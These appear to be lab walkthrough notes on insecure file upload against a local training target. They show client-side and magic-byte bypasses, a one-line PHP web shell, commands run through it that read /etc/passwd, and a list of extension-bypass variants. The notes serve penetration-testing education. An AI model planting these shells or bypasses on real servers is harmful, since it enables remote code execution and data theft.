Web App - Insecure File Upload

• PayloadsAllTheThings - Upload Insecure Files

• Insecure file upload | AppSecExplained

➡️ Insecure file upload occurs when an application improperly handles user-uploaded files, allowing attackers to upload malicious files, such as scripts or executables, which can lead to remote code execution, data breaches or server compromise.

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Insecure file upload - Basic bypass

• Run BurpSuite and open the http://localhost/labs/f0x01.php challenge

• Upload a png file and check the request in BurpSuite. Send it to the Repeater

  • there is a script checking for valid extensions only client side

<script>
function validateFileInput(input) {
    var validExtensions = ['jpg', 'png'];
    var fileName = input.files[0].name;
    var fileNameExt = fileName.substr(fileName.lastIndexOf('.') + 1);
    if (!validExtensions.includes(fileNameExt.toLowerCase())) {
        input.value = '';
        alert("Only '.jpg' and '.png' files are allowed.");
    }
}
</script>

# In the repear Request, remove the PNG content and change the filename to .txt
Content-Disposition: form-data; name="uploaded_file"; filename="logo-tcm.txt"
Content-Type: image/png
hello world

# Send the request
# Response
The file logo-tcm.txt has been uploaded.

# e.g. for command execution

# filename="cmd.php"

<?php system($_GET['cmd']); ?>

• To find cmd.php on the webserver, run ffuf to find the directories of the web server

ffuf -u http://localhost/FUZZ -w /usr/share/wordlists/dirb/common.txt

assets		[Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 0ms]
includes	[Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 0ms]
index.php	[Status: 200, Size: 27945, Words: 13300, Lines: 506, Duration: 11ms]
labs		[Status: 301, Size: 305, Words: 20, Lines: 10, Duration:
uploads		[Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 0ms]

ffuf -u http://localhost/labs/FUZZ -w /usr/share/wordlists/dirb/common.txt

uploads		[Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 0ms]

• Open http://localhost/labs/uploads/cmd.php?cmd=whoami in the browser and check the command response

• Another one view-source:http://localhost/labs/uploads/cmd.php?cmd=cat%20/etc/passwd

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Insecure file upload - Magic bytes

• Same as before, upload a png file and send the request to the BurpSuite repeater

• Clean the content and set the cmd shell

# filename="logo3.php"

<?php system($_GET['cmd']); ?>

# Response:
# Only '.jpg' and '.png' files are allowed.Sorry, your file was not uploaded.

• The extension checks are happening server side

• Check the magic bytes of the file. Sometimes applications identify file types based on their signature bytes. Replacing them in a file can trick the app.

# e.g.
PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
JPG: \xff\xd8\xff
GIF: GIF87a OR GIF8;

file logo3.png
	logo.png: PNG image data, 1080 x 1080, 8-bit/color RGBA, non-interlaced
head logo3.png
# Check the first line - magic bytes

• Insert <?php system($_GET['cmd']); ?> in the PNG content - Success, file uploaded

• Open http://localhost/labs/uploads/logo3.php?cmd=whoami

  • if it does not work, modify the content by keeping only the magic byte and the php payload

• Command executed correctly at http://localhost/labs/uploads/cmd2.php?cmd=whoami

• Extensions e.g.

.jpeg.php
.jpg.php
.png.php
.php
.php3
.php4
.php5
.php7
.php8
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg

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Insecure file upload - Challenge

• Upload logo.png and send request to BurpSuite repeater

• Modify the request as above and send it

# The file extension '.php' is not allowed.Sorry, your file was not uploaded.

Checklist

• Understand the file upload functionality

• Are there file type restrictions?

• Are there file size restrictions?

• Are files renamed after upload?

• Are files checked for content type matching the extension?

• Test for bypassing file extension filters

• Upload a file with a double extension (e.g., .jpg.php)

• Upload a file with a null byte injection (e.g., .php%00.jpg)

• Test for malicious content within a file

• Upload a file with a simple XSS payload in its content

• Test for inadequate file storage handling

• Are uploaded files accessible from the internet? (Path/URL guessing)

• Can other users access the uploaded files?

• Try with php5 extension - Success

• Browse to http://localhost/labs/uploads/logo.php5?cmd=whoami - error

• Try with phtml extension

  • http://localhost/labs/uploads/logo.phtml?cmd=whoami - Success

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